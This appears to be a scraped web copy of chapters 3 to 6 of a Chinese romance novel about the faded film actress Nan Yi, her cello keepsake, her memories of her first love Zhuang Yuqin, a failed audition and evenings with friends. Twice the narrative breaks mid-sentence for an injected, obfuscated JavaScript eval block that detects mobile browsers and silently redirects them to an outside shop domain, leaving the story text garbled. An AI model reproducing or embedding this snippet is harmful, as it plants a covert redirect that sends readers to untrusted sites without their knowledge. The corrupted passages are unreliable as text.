慢节奏的文艺片大部分不卖座,除非奔着获奖去,否则对打开知名度有弊无利,还容易遭受业内专业人士的吹毛求疵,得不偿失。 所以哪怕南意长着一张很适合拍文艺片的脸,向锦也不会主动把剧本递到她面前,这次不一样,“叶云尧”三个字的含金量实在太高。 南意放下剧本,二话不说平躺在羊毛地毯上,双臂枕在脑后,曲腿,连着做了十个标准的俯卧撑。 向锦不明白她这是哪根筋突然搭错了,“你在干什么?” “不是要为艺术献身吗?”南意边做边说,“我得赶紧练出马甲线,争取在艺术里程碑上留下我最完美的肌肉线条。” 向锦拿她间歇性的油腔滑调毫无办法,轻笑一声,拿起包准备离开,余光瞥见旋转书架旁的大提琴。 “你怎么又把这琴拿出来了?” 南意瞧见后也愣了下,坐直,捏捏隐隐作痛的太阳穴,“我不记得了,大概是走神的时候拿出来的。” “我还以为你终于舍得把它扔了。” “暂时不扔,过段时间再说吧。” 向锦没拆穿她的拖延战术,想起什么,另起话头:“我给你找了家靠谱的植发机构,你找个时间去一趟。” 南意托长调“啊”了声,一脸莫名其妙。 “小琦跟我说你最近脱发严重,早看,也好防患于未然。” 不是,她到底什么时候脱的发? 南意把记忆倒回走秀那天,终于想起自己的胡言乱语,沉默了。 向锦离开后,南意坐在原地发了会呆,等天色暗透,走到大提琴旁,轻轻拨弄了几下弦。 琴弦太久没有调试过,松动不少,没一个音是准的。 窗外依旧大雪纷飞,雪花穿过厚重的窗玻璃直达她琥珀色的瞳仁。 她的眼底迅速泛起白雾,宛若被旧时的梦境包抄,信马由缰地想起很多她不敢大张旗鼓回忆的旧人旧事。 林修竹导演的《春迹》是改变她职业规划的契机,也是她进入娱乐圈后的银幕处女作。 电影讲述了一位天才大提琴手,在经历家庭重创和失明的一系列打击后,一个人游荡到边陲小镇,被无数陌生善意包围,最终找回初衷和梦想。 决定接下这部戏时的南意不到十八岁,拍过几次书封和画报,镜头感不算很足,唯一的才艺是芭蕾舞,对拉奏管弦乐器一窍不通。 对于林修竹大胆启用一个毫无表演经验又名不经传的新人做法,业内人士纷纷表示不理解不支持,甚至笃定这部作品会成为他职业生涯的耻辱,颗粒无收。 南意有自己的傲骨,为争一口气,也为了报答力排众议选择自己的林修竹,她日夜苦学大提琴演奏技巧。 林修竹肯定她努力的同时,纠正了她的错误:“你需要做到的是表演一个才华出众的大提琴手,而不是成为一个能把电影里的曲目演绎到完美无瑕的业余大提琴手。” 南意似懂非懂地点了点头。 拍摄进行到一半时,林修竹承诺她要是这部电影的成绩能够达到预期,他就会答应她一个条件。 她放弃了一次难能可贵的狮子大开口机会,小心翼翼地征求道:“那能把这琴送给我吗?我想留个纪念。” 林修竹当时罕见地愣了下,回神后笑着摸了摸她脑袋,口吻难掩宠溺:“你这孩子,傻不傻?” 那年的竞争格外激烈,在所有人都不看好的情况下,《春迹》以黑马之势杀出重围,一举拿下金马奖最佳女主角、最佳影片和最佳摄影三项大奖。 凭借这部电影,年仅十九岁的南意名利双收,不仅偿还掉父亲遗留下来的高额债务,还被圈内知名毒舌影评人冠以“前途无量”的殊荣。 颁奖典礼结束的当天晚上,林修竹将这把大提琴装进新定制的昂贵琴盒里,以礼物的形式赠送给她。 她欢喜收下,抱着琴盒在酒店睡了一天一夜,之后花了一周时间结束所有行程,回到北城的第一件事是去庄俞钦兼职的游乐园找他。 但她低估了自己一夜暴涨后的人气,即便全副武装,还是被人第一时间认出,将她围了个水泄不通。 合完第一波影,勉强寻到逃离的空档,她头也不回地往前跑。 身后的人穷追不舍,就在她认命般地准备停下脚步,接受第二轮围攻时,手腕突然被什么东西攥住,触感毛绒绒的,等她扭头,看到一个有着硕大脑袋的黄油小熊,人已经被拽进偏僻的角落里。 “俞钦?”她不确定地开口。 庄俞钦摘下头套,额角湿漉漉的,全是汗液。 “今晚人多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228424|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一出去,就会被人发现,先在这里躲一会。” 南意哦一声,眨眨眼睛,“你看见我怎么一点都不高兴?” “我很高兴。” 语调上扬的幅度比微风掠过湖面泛起的波纹还要浅,借着灯光,她才勉强看清他略微弯曲的唇角。 这就是彼时庄俞钦的性格,内敛含蓄到连痛痛快快地宣泄自己或悲或喜的情绪都像触犯了天条。 可南意喜欢的就是这样的庄俞钦,不骄不躁,宠辱不惊。 如果将他形容成一种字体,那一定是标准的瘦金体,虽瘦削却有力,有种狂风暴雨都折不断的傲骨,也是她茫然无措时最可靠的后盾。 “那你给我点表示。”她伸出手,掌心朝上。 庄俞钦从玩偶服口袋里掏出两颗糖,颜色是她喜欢的蓝色和绿色。 “为什么是两颗?” “因为别人都只有一颗。” “那也可以是三颗啊?”她没有要为难他的意思,单纯是好奇,可说出口时,不免带点胡搅蛮缠的嫌疑。 庄俞钦也顾不上自己还有给小朋友派发糖果的任务,直接把兜里所有糖都送给了他的大朋友。 南意两只手抓了个满满当当,最后只留下一开始的那两颗,“我还可以要点别的吗?” “其他东西可能要再等等。” 拍摄《春迹》前的某天,南意去庄俞钦兼职的便利店等他下班。 回筒子楼的路上,他们经过一家首饰店,玻璃橱窗擦得锃亮,昏黄的灯光拢下来,正中央的四叶草手链熠熠生辉。 庄俞钦看到了她眼底的喜爱,但那时的他,负债累累,支付不起这五位数的价格。 当下他已经偿还所有债务,只需要再打几天工,就能攒够买手链的钱,但他没想到,她会提前一周出现在他面前,送她的惊喜变成了她给他的惊吓。 南意没问他打算送给自己什么,毕竟只要是俞钦送的,她都会喜欢,视若珍宝。 小巷狭长逼仄,灯光掩映不进来,借着皎洁的月色,南意看清庄俞钦憔悴的容颜。 “你多久没有好好休息过了?” 天生冷白皮的少年,在她消失的这几个月里,又回到三餐不定的日子,身体像被扎破的气球迅速干瘪下来,嘴唇呈现出病态的干燥,看的她好心疼。 “我现在有钱了,以后我养你啊。”她大放厥词。 庄俞钦没说话,脑袋里浮现出昨晚她在颁奖典礼上纯真烂漫又不失腼腆的笑容。 比起在意自己是否继续有资格留在她身边,他考虑的更多的是他要守护住她此刻的美好。 但显然仅靠打工实现不了这样宏大的目标,他必须得给自己谋求其他出路,要是能在大二拉到项目投资就好了。 南意柔软的声音掐断庄俞钦的思绪,她问:“你还要多久才能下班?” “十点半闭园就下班,不过今天我得打扫卫生。” “这么大的园子,就你一个人打扫?” “我只负责A区,其他区域第二天清晨会有保洁来打扫。” “那为什么让你负责A区,你被职场霸凌了吗?” 她的俞钦做错了什么,为什么都要来欺负他? 南意想起他曾经被混混欺辱的画面,更加愤慨了。 庄俞钦立刻解释:“是我主动提起的,有额外补贴。” “这样啊……”她眼珠一转,计上心来,“你把玩偶服给我穿,我替你去给小朋友发糖果,快下班,咱俩再换回来,好不好?” 用撒娇口吻说出的最后三个字杀伤力巨大,庄俞钦短暂失去理智,点点头应声好,脱下玩偶服,连同头套,小心翼翼地套到她身上。 隔着一层厚重的布料,她的嗓音变闷了些,听上去笨拙可爱,“哈啰,你能看到我的脸吗?” 他答非所问:“我能想象出你的脸。” 南意扑哧笑了声,“打工去啦,一小时后见。” 庄俞钦目送她大摇大摆的身影,然后扛起她留下来的大提琴,一路避开同事,将琴盒放到空无一人的休息室。 守了近一个小时,他去换班。 A区面积最大,打扫起来费时费力,临近十二点,庄俞钦才结束工作,那会园内除了值班的大爷,就只剩下他和南意两个人。 大爷跟他关系好,睁一只眼闭一只给了他旋转木马中控室的钥匙。 庄俞钦之前替人代班过,对每个控制键的功能了然于胸,一番娴熟的操作后,灯光齐刷刷亮起,搭配迪士尼系列电影里的插曲,童话感十足。 南意坐在马车里,朝他招招手。 庄俞钦单手撑住栏杆,敏捷一跃,再掐准时机,抵达她身侧。 马车内部空间很小,还放着一把大提琴,两人的腿贴合在一起,膝盖时不时碰撞,擦出噼里啪啦的火星。 南意的心有些烫,也有些痒,跃跃欲试道:“俞钦俞钦,我拉首曲子给你听吧。” 下一秒,她突然改口:“还是你先拉给我听吧。” “我不会。” “我教你啊。” 马车还在转,转得她头晕目眩,起身的动作又太急太凶,一时没稳住,直接栽进他怀里。 庄俞钦条件反射搂紧她的腰。 他的手指很长,指腹不冷不热,裹着层粗糙的茧子,是多年奔波劳碌的成果。 春末夏初的黏腻燥热初现端倪,南意双耳热腾腾的,有什么东西烧起来,她急于藏匿,导致找回平衡的时间慢了几秒。 很奇怪,明明他们那会已经确定了关系,更亲密的接吻也发生过几次,但每次被他拥住时,她都像被人施了全身发麻的魔法,手忙脚乱。 她在上下颠倒的世界里,第二次改口:“还是我来拉吧。” 马车还在转,音乐也还在响,震耳欲聋,盖过弓与琴弦来回拉扯时发出的旋律。 后来她才明白,那时躁的不是背景音乐里的鼓点,而是她的心跳。 在不识情爱、只知喜欢的年纪,面对爱慕的人,一切风动,皆为心动。 4. 04 明明已经是这么久远的事,回忆起来,却依旧能不费吹灰之力地还原出所有让人心跳脱离正常节奏的细枝末节。 这可不是一个好征兆。 南意定了定神,视线落回大提琴上。 琴颈背部刻着两个字母:CQ。 是她在《春迹》里的角色名“春淇”的缩写。 旁边还有几道狭长的划痕。 曾经引以为傲的战利品,在遭受恩师的离世、墙倒众人推的谩骂和刻骨铭心却也只能无疾而终的恋情后,时至今日,已经沦落为一段黯然无光的墓志铭。 她眼不见为净地将它抱回储物间,用薄毯盖了个严实。 回卧室补了个觉后重新打开剧本,粗看两遍,倒回开始,逐字逐句地往下默念,一面用彩色笔在空白处标注上细节和注意要点。 没一会,文件里手写字体就比印刷黑体还要杂密。 接下来的那几天里,南意除了对镜试演外,就是拿小号在各大平台冲浪。 《黎明前夕》的男一男二CP粉数据持续走高,两家的唯粉更是撕得披头散发。 就在南意快不认识“我家哥哥”几个字前,各大收钱办事的营销号将南意在剧里所有犯蠢情节剪辑成一段独立视频,上传到微博。 话题热度一直居高不下,评论清一色的“好蠢”,也会有人用看似惋惜实则嘲讽的话腔来一句:【曾经炙手可热的影后现在只能在A级电视剧里给人作配,还是这种丑角,论惨还得是她。】 评论持续增长,好在再难听的话,早些年南意就已经听了遍,这点恶意打在现在的她身上,无关痛痒,权当在看漏洞百出的同人文或哗众取宠的小丑表演。 她甚至还能摆出置身事外的姿态,给那些黑自己的帖子挨个点赞,偶尔在底下附和一句“就是就是”。 当天下午,她的另一条“黑历史”缓慢爬上热搜榜单。 是她两年前参加某档真人秀节目的cut。 那期节目她垫了底,节目组给出的惩罚是住一晚毛坯房。 南意当时心平气和地接受了,“我睡过比这更差的房子,连床都没有,只能用纸板垫着。” 现在的评论和当年的弹幕大差不差,全都批判她在卖惨:【节目效果而已啦,摄像机一关,她还不是要睡回酒店大床房?】 南意又顺手点了个赞。 半小时后,一条评论被顶了上去:【我是节目组前工作人员,我在这替南意老师澄清一下,那天晚上她确实在毛坯房睡了一晚上,第二天发起高烧,但还是坚持录制了。】 这话一出,网上的风向逐渐发生偏移:【我也跟南意老师合作过,寒冬腊月,说下水就下水,让她闯火海,她也不带犹豫的,每次受了伤,为了不耽误剧组进度,都一声不吭,我就没见过比她还要敬业的演员。】 【那些夸南意的,是不是忘了她和周旭桥那点事?在我这里,小三永远洗不了白。】 这条留言还未引起热议,先一步被管理员删除,这人的账号也很快遭到封禁。 对于这事,南意完全被蒙在鼓里,换了身轻便的衣服,坐车去了《寻旧日》试镜地点。 南意之前见过叶云尧四回,前三次都在《春迹》片场,最后那次是在林修竹葬礼上。 黑料缠身的她,怕玷污恩师的告别式,只敢躲在角落,远远看上一眼。 鬼鬼祟祟的身影被叶云尧逮到,他的表情又沉又冷,厉声质问:“热搜里说的都是真的?” 她发不出声音,只能摇头。 “既然不是,你躲什么?” 叶云尧朝林修竹墓碑所在的位置投去一瞥,“你要还当他是老师,就把他的话给我记住了——堂堂正正地做人,堂堂正正地演戏,无愧于心,更不要辜负自己。” 时隔六年,再次见到这位电影圈大拿,南意不知道该以什么样的心情和姿态面对他。 然而她的担心纯属多虑,叶云尧就没在试镜现场露面。 分给南意的那段戏并未出现在向锦转交给她的剧本里,南意只能凭借经验匆匆记下台词后,临场发挥。 表演结束,迎来漫长的死寂,然后才响起叶云尧在视频通话里冷冰冰的声线:“回去等通知。” - 南意不喜社交,私底下能交心的朋友少得可怜,其中只有沈青颐和谢凌算得上是毫无利益捆绑关系的知己。 等待通知的那几天里,沈青颐来了趟北城,恰巧赶上谢凌的民国戏杀青,三人抽空约在美术馆碰头。 一见到面,谢凌就旁若无人地朝她俩张开双臂,“我亲爱的宝贝们,好久不见,真是想死我了。” 沈青颐推开他的同时,白他眼,“你消失的这三个多月里,开古玩店去了?见谁都叫宝贝?” “没办法,我接的那角色活脱脱一花花公子,油嘴滑舌的,搞得我现在张嘴闭嘴也是这腔调。” “你现在岂止说话像,”南意毫不留情地拆台,揪了揪他硬邦邦的头发,“这是把一整瓶发蜡抹头上了?” 谢凌嘿嘿傻笑,“我瞅着还挺帅。” 南意同沈青颐对视两秒,眼神里不约而同地感叹道“这人没救了”。 北城某艺术品收藏家的私人画展,受邀门槛很高,沈青颐也是费了很大的劲才托人要来三张门票。 办展的美术馆由建筑界知名设计师设计建造,南北通透,五层楼高度,分成四块区域。 三人对绘画风格的喜好各不相同,一入场就分道扬镳。 沈青颐逛完西方油画展,问南意在哪,但迟迟没收到对方回复,电话也没人接,和谢凌在馆内找了好一会,最后在关山月大师的冬日红梅图前见到的人。 画挂在一条甬道设计的狭长走廊上,拱形门洞嵌着几盏壁灯,半明半暗的昏黄灯光碎金般洒落。 南意安静的背影隐匿其中,比雨轻,比雾重,连湿度都处于两者之间,蒙蒙的,仿佛不属于这个世界,稍不留神,就会消融在凛冬飞扬的雪沫中。 沈青颐轻轻唤她的名字,没得到任何回应,走过去,发现她早已泪流满面。 “怎么哭了?” “我哭了?”南意表情发懵,一抹脸,还真是湿的,更懵了。 谢凌也被她这阵仗吓了一跳,看看画,再看看她,满头雾水:“这画有这么让人感动吗?” 沈青颐暗暗掐了把他的手臂,示意他先闭上嘴,然后问南意:“别不是感冒了吧?” 南意接过她递来的纸巾,摁了摁脸上被眼泪侵袭的地方,鼻音略重:“可能是昨天半夜跑出去玩雪,着了凉。” 馆里的空气又干又燥,从鼻腔钻进去,卡得她喉管也有点疼。 等她再度抬眼看向画上的红梅,心里有种刀割般的感觉,但她之前明明没有见过这画,甚至没有听说过它的任何信息。 真是莫名其妙。 此地不宜久留,三人回到车上,沈青颐助理就在附近,没多久送来一个装有热水的保温杯和一盒感冒冲剂。 南意泡好喝下,肠胃变暖不少,脚底也不再发凉。 晚餐订在一家日料店,日本人开的,请来的也都是日本厨师,味道很正宗,餐厅装修设计却揉杂进日式庭院和苏州园林建筑风格,显得有些不伦不类。 经过凹凸不平的鹅卵石小径时,南意走出脚踩三米高跷的慌乱感,若非谢凌及时扶了把,摔个屁股蹲是肯定的。 南意边拍胸脯边朝他递去感激的眼神,“给我吓的,刚才都差点蹦出人生第一句脏话了。” 这次轮到谢凌毫不留情地拆台,“你忘了你之前有次右脚差点被自己左脚绊倒,直接蹦出一句卧槽。” 他眼风扫向沈青颐,主打一个无差别攻击:“去年你跟我一起走红毯,也差点摔了一跤,要不是当时够吵,''当红小花边走红毯边吐国粹''这事至少得在热搜词条上挂个一天一夜……哎,我真挺好奇的,你们女生走路摔倒的第一反应,是不是都得喊声''卧槽''?” 南意和沈青颐齐声骂道:“美女的事你少管。” 插科打诨的笑被潺潺的流水声压着,传不进悬在假山石上的阁楼,但透过雕花窗棂,三人亲昵的姿态无处遁形。 陆高平顺着庄俞钦一动不动的视线往那处看去,又花了数秒钟,认清其中一人是谁,微顿后笑说:“谢凌这臭小子,昨天刚杀青回北城,我约他出来吃顿饭,打发我说没空,结果今天就跟别人约上 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“这臭小子的事,我可不敢多问,”陆高平一脸“饶了我吧”,“上回我一多嘴,直接跑到我表姑那告状,内涵我连自己儿子都管不明白,还想管别人家的儿子,这炮仗以后谁爱点谁点吧。” 半开玩笑的语气逗得几人哈哈大笑,片刻爽朗的笑声里混进来一声:“既然是表侄,又凑巧遇到了,陆导不如让他上来坐坐。” 始终沉默寡言的人,冷不丁冒出这么一句,让在场的人都始料不及。 撇开庄俞钦是庄家掌权人不提,现在的他,还是业内领头羊嘉樾最有话语权的人,陆高平自然很乐意谢凌能趁此机会跟他搭上线,连忙在微信上把人摇来。 谢凌事先不知道包厢里还有除陆高平以外的人,错愕的神情维持两秒,被他压下。 陆高平怕自己的意图太明显,就没特意让谢凌挨个去打招呼,只体面地介绍这些人是自己朋友。 要怪就怪庄俞钦的皮相过于出众,在一堆人里格格不入,颇有招蜂引蝶的实力,导致谢凌目光停留在他身上的时间和次数远超旁人。 沈青颐和南意因《春迹》结缘,对对方的情史了如指掌,但谢凌是四年前才和南意成为朋友,从来没见过庄俞钦,这会自然不清楚他的真实身份。 看着不到三十岁吧,怎么就成陆高平的朋友了?忘年交不成? 等会,这人看自己的眼神怎么还带点争锋相对的意思? 可他们不是第一次见?这包厢里也没异性,这就玩起雄竞那套了?还是说这哥们喜欢男的? 谢凌再次不动声色地环视一圈,包厢里除他俩外,还有五个人,个个肥头大耳,唯一儒雅清瘦的是五十来岁且有家室的陆高平,这人要真是个同性恋,口味也够别致的。 谢凌百思不得其解之际,坐在他右手边的男人边打量他边抛出一句:“小伙子这长相看着比电视里还要出挑。” “这不巧了,我粉丝也都说我不太上镜。” 社交是谢凌的天赋,场面话张嘴就来,“您还真是慧眼如炬。” 他笑着给这人倒了杯清酒。 气氛热络不少,话匣子也打开了。 有人趁机替陆高平打探虚实:“我们几个可都看见你今晚是跟别人一起来的,这里没其他人,你就跟我们直说,那俩人里有没有你女朋友?” 谢凌顿了顿,将这话揣摩出千种含义,其中可能性最大的一种是他们中间有人看上了沈青颐或南意,想借此试探自己。 这群人身份不明,但显然都非富即贵,沈青颐现在有靠山,就算他们起了歹念,她也有保全自己的办法,倒是南意…… “既然都被你们看出来了,那我也就不隐瞒了。” 谢凌摸摸后脑勺,笑出情窦初开的大男孩模样,“其实我跟南意在一起有段时间了,出于一些原因,才没有选择公开,还劳烦各位替我俩保密,要是以后有机会办喜宴,一定让各位坐主桌。” 说完他感觉后背阴风阵阵,脖颈处的皮肤霎时起了一片鸡皮疙瘩。 奇怪,窗户不是关着,哪来的风? 5. 05 谢凌回包厢的第一件事就是告状。 “我真服了这陆老六,把我叫过去,不说干啥,也不提前跟我说还有谁在,要不是我天生自来熟,就冲着那几位大佬的气场,差点给我吓尿。” 沈青颐抽出一张纸巾,揉成团朝他砸去,“吃饭呢,说什么尿?” 谢凌自觉理亏,对嘴比了个拉拉链的手势,看到空空如也的餐桌,才开口:“还没点呢?” “点好了,就等你加菜,到时候一并提交。” 谢凌接过平板电脑看了眼购物车,随即一副见鬼的表情,“你俩就点一份鹅肝手握和一份葱香牛舌?” 沈青颐举手,“准确来说,这都是我点的。” 南意脑袋凑过去,发现自己刚才没下单成功。 等谢凌再次拿回平板,购物车里仅多出一份炭烤鳗鱼,眼皮一抬问:“你最近又要减重?” “前两天去试了叶云尧的新戏,要是过了,可能会有为艺术献身的镜头,”南意摸摸自己平坦的小腹,“所以这段时间我得少吃多练,争取练出完美的马甲线。” 沈青颐皱了皱眉,“你去试镜了《寻旧日》?” 南意嗯一声,“怎么了?” 沈青颐凉飕飕笑道:“昨天赵茉依还来我面前耀武扬威,说自己马上能成为叶女郎了。” 谢凌听乐了,“赵茉依现在都跟你不在一个咖位上,怎么有脸继续拿你当假想敌?” “没办法,我俩共用一个经纪人,她总觉得是经纪人偏心,把好资源优先给我,才害她现在一直不温不火的。” 南意的关注点还停在“叶女郎”三个字上,“赵茉依已经被内定了?” “八字还没一撇的事,甭听她瞎吹。”事实上,沈青颐也不知晓其中内情,所以这话里有安抚成分在。 提起赵茉依,谢凌想起另一个人,“赵茉依跟郁钊合作的那部戏是不是要上了?难怪她最近总在郁钊微博底下留言,不过要我说,炒CP也要看两个人有没有CP感,她想复刻我们意和郁钊之前的成功,我看难悬。” 两年前,南意的资源才稍微有点起色,同郁钊合作了一部A级现偶,最终呈现出来的化学反应比男女主的还要强,剧集播出那段时间,关于他们的二创cut不计其数,直接登顶微博CP超话榜单第一。 这部戏对南意个人加成寥寥无几,倒是郁钊身价猛涨,片约不断。 谢凌继续说:“这姓郁的也是好笑,都快跻身一线了,还不忘在我们意身上吸血,陈年烂谷子的''旧情''到底什么时候能翻篇?” “我倒能理解他这么做的原因,”沈青颐有理有据地分析,“他那外形条件不算好,演技又跟薛定谔的猫一样,不继续吃''深情男二''的红利,估计要不了多久,就会被市场淘汰。” 谢凌颇为赞同地点头,“他的硬件条件确实一般,连我刚才在陆老六包厢遇到那男人的十分之一都比不上。” 沈青颐顺嘴问:“娱乐圈新人?” “看着不像,气场要比新人凌厉很多。” 谢凌眯了眯眼,用洞悉一切的表情说:“其他人对他都透着种诡异的恭敬,估计是上流社会哪家公子哥吧,我一直男都觉得他长得是真帅,不过可惜了,是个gay。” “怎么,他看上你,给你发送gay达了?” “岂止啊,那眼神简直是想将我生吞活剥了,都怪我魅力太大。” 南意看热闹不嫌事大地泼了桶冷水过去,“也没准是拿你当情敌看了。” 谢凌一脸无辜,“胡说八道,我最近可没招惹人。” 沈青颐睨他,“是没招惹人,就是三天两头跟不同女艺人传绯闻。” “谁让我长着一双看狗都深情的眼?” 层出不穷的绯闻给谢凌带来不少流量红利,但也给他的生活造成实打实影响,说没有一点困扰是自欺欺人。 他看向南意,馊主意张口就来:“正好我俩也有一定CP粉基础,要不就对外宣称是男女朋友关系?” 南意不带一秒迟疑地谢绝:“你女友粉太多,我怕到时候被围剿。” 谢凌突然眼神飘忽,心虚到不行,架不住南意恶狠狠的刀眼攻势,只能老实交代:“刚才我在包厢,看那几个老男人对你有其他想法,就扯了句谎说咱俩在谈。” 南意忍住才没给他一拳,“估计他们也没那么碎嘴说出去,这次就先不跟你计较,再有下次,直接让我向姐给你寄份律师函。” 谢凌举手发誓,“保证没有下次。” 菜品上桌后,三人围在一起拍了张照,回自己位置时,谢凌不小心撞到南意的托特包,有张符纸掉出来。 “啥玩意?” “向锦找大师给我求来的幸运符,不过我觉得是道催命符。” 要么就是庄俞钦的召唤符。 “那怎么不扔掉?” 对啊,她怎么不扔? 这个问题问住了南意。 沈青颐倒能理解,这么多年,南意最学不会的就是断舍离,一个玩偶留在身边快十年都舍不得扔,五年前好不容易狠下心,又偷偷去垃圾桶里捡了回来,再洗干净,走到哪带到哪,每晚还要抱着入睡。 谢凌把符纸叠好,装回南意包里,幽幽感慨:“不过确实,你最近被人当枪杆子使的频率太高了,是该备着点好运符。” 他边说边点开微博,南意的相关词条还在热搜上挂着,奇迹般的,评论区友好很多,但水军的痕迹没那么重,就跟开启了活人精选一样。 其中最和谐的要数“南意在综艺里坦言自己睡过纸板床”那条,虽然底下也有不少质疑的声音,更多的是对南意过往不易的心疼。 谢凌把最和善的几条评论截图转发给南意,南意托腮笑,“看来这世界上还是明辨是非的好人多。” 睡纸板床是她所有惨淡经历里最不值一提的一件。 她要真的有心卖惨,就不会拿这种事去说。 当年南家破产后又发生了一些事,南意沦落到真正意义上无家可归的境地,庄俞钦负担不起她的租房费用,征求她意见后,将她带回自己家。 不到十平米的出租屋,连张像样的床都没有,只用厚纸板叠了几层,为避嫌,庄俞钦在他们中间装上了用旧衣物做成的帘子。 屋里没有独卫,南意不愿去一楼的公共澡堂,他就给她买了个木盆,按比例调配好温水装进热水壶,在她洗澡时,一动不动地守在屋外。 整栋筒子楼破败不堪,周围的环境也差,鱼龙混杂,住着不少不讲素质的人,过道上总是堆满垃圾。 窗户一开,腥臭味铺天盖地地涌进屋子。 南意熬了差不多两天,这种味道凭空消失。 实在好奇,有次偷偷跟在庄俞钦身后,惊讶地发现这些垃圾都是他每天清早四点起来清理的,放学后到打工前那段时间,再回来清理一次。 庄俞钦兼职的其中一处地方,隔壁是家花店,老板娘会把当天卖不出去的花无偿赠予他,他额外买了个花瓶装好,连同鲜花一起放在窗边,风吹过,淡淡的芳香蔓延到房间的每个角落。 庄俞钦还跟南意保证,等他拿到兼职费用,先去买张好点的木床,再过段时间,会带她搬离这个地方。 但他失约了,他赚到的所有积蓄除了满足他们日常生活开销外,最后全被用来支付高昂的医疗债务和安葬他的养母,一直等到南意进组拍摄《春迹》,她都未能见到木床的影子。 结束拍摄,庄俞钦才从筒子楼搬到五环某处单身公寓。 一米八的床很大,床头放着很多玩偶,电影正式上映前,南意就在那和庄俞钦度过了人生中最潮热的一个盛夏。 那是一段每每回忆起来就会觉得很辛苦的时光,但南意并不后悔亲身经历过。 因为她知道,照顾她从来不是庄俞钦的责任和义务,即便如此,他还是在自己的能力范围内,将最好的一切全都给了她。 - 娱乐圈这地方什么牛鬼蛇神都有,陆高平入行三十年,早已培养出察言观色的本领,他发现自谢凌出现后,庄家这位气场明显不对劲。 仿佛变成正在漏气的高压煤气罐,一点火星,都能引爆他。 偏偏对方又什么都不提,冷着一张俩,天生面瘫似的。 饭局进行到中场,陆高平单独找到在外头吹风的庄俞钦,试探了句:“我这表侄有时候挺不着调,嘴上又不带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228426|197575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把门的,要是他说错什么、做错什么,庄总大人有大量,别跟他一般见识。” 小径幽深,吹来的风利剑般尖锐,抽走人体的最后一丝温度,陆高平等到遍体生寒的同时,终于等来庄俞钦的回应:“陆导误会了,我很欣赏你这位表侄的直率,要是有机会,希望能尽早合作。” 听着不像糊弄人的话,陆高平心里的猜疑消减不少,喜上眉梢:“一定。” 庄俞钦没回包厢,上车后,让司机将车开到路边。 车上放着台平板,他点进嘉樾26年几个重点项目,权衡过后给经纪部拨去一通电话。 “尽早联系陆高平,告诉他嘉樾有意向让谢凌出演同E.C公司合作的那部公路片男主角。” 正说着,日料店出来三个人,个个戴着口罩、棒球帽,看不清面容,身形却是如出一辙的出挑。 沈青颐是第一个被接走的,留下南意和谢凌两人言笑晏晏。 这样的画面,半个多月前,庄俞钦在娱乐板块检索到不少回,除此之外,还有她和郁钊各种捕风捉影的绯闻。 庄俞钦眯了眯眼,补充道:“在给谢凌的合同里,加上一项条款:拍摄期间演员必须上缴电子设备,不能跟外界进行任何联系。” 南意今天出门没带头绳,马尾是用手帕绑的,系得很松,站门口没一会,被风吹走。 顺着气流即将擦过不远处的黑色轿车时,轿车车窗玻璃降下,从里面伸出一只男人的手,修长有力的手指精准地攫取住手帕一角。 等南意意识到什么,窗玻璃已经升回上去。 她的长发在空中飘荡,偶尔擦过脸颊、胸口,痕迹很浅,却也留下了酥酥麻麻的触感。 - 隔天上午,试镜结果出来。 南意在群里说:【没过。】 沈青颐:【难不成真选赵茉依了?】 谢凌:【不能吧?不都说叶云尧电影里塞不进资源咖?论演技,我们意不是吊打赵茉依?】 南意:【别猜了,他谁也没选。】 沈青颐:【什么意思?叶云尧这是不打算拍了?】 大导演的脑回路哪是她这种凡夫俗子能参透的,南意回了个“母鸡”的表情包。 这个话题没讨论出个结果,谢凌挑起全新的:【我经纪人背着我跟陆老六沆瀣一气,给我接了部公路片,中间一大段剧情需要在非洲大草原上取景,你们说,那儿那么多豺狼虎豹,要是垂涎我健壮的肉/体,把我生吞了怎么办/大哭.jpg】 沈青颐:【什么公路片?】 谢凌:【《奔逃》。】 谢凌:【据说是嘉樾跟国外某个大型影视公司合作的大片。】 沈青颐:【嘉樾?】 谢凌:【是啊,有什么问题?】 沈青颐一段话敲了又删,回了个“没什么”后,@南意:【别多想,叶云尧没选你是他的损失,我们仙女意最棒了。】 试镜失败这种事不是第一次发生,不至于让南意陷入沮丧的情绪中,她在意的是叶云尧拒绝她的说辞。 原话是对着向锦说的:“你带的这位艺人,现在就是条夹了馅的麻花,又油又能装。” 她一过气几百年的影后,还没翻红,就不自觉开始偷偷膨胀了? 至于“装”这个字,南意更不能理解,是在说她虚假? 实在想不通,她给自己关了两天禁闭,反复看自己这些年出演过的作品。 这期间小琦每天都会过来给她打扫卫生,没东西收拾后,就把注意力投到Syzygy主办方送的苹果礼盒上。 不知道为什么,南意回北城时,把它也带上了。 小琦敲了敲门,“姐,茶几上的苹果缩水皱皮了,我替你扔了吧。” 回答她的是冗长的寂静。 小琦以为她在睡觉,不再打扰,正准备离开,里头才传来一声“行”。 语调没那么干脆,拖得慢而长。 小琦照做,半分钟后又敲响房门,“姐,盒子里的那条项链要怎么处理?” 门很快被人打开,南意熬夜熬到精神不济的脸露了出来,“什么项链?” 小琦抬高胳膊给她看。 6. 06 项链被装在透明保护膜里,一并黏在礼盒内壁上,不仔细看,或者不取下苹果,很难注意到其中的奥秘。 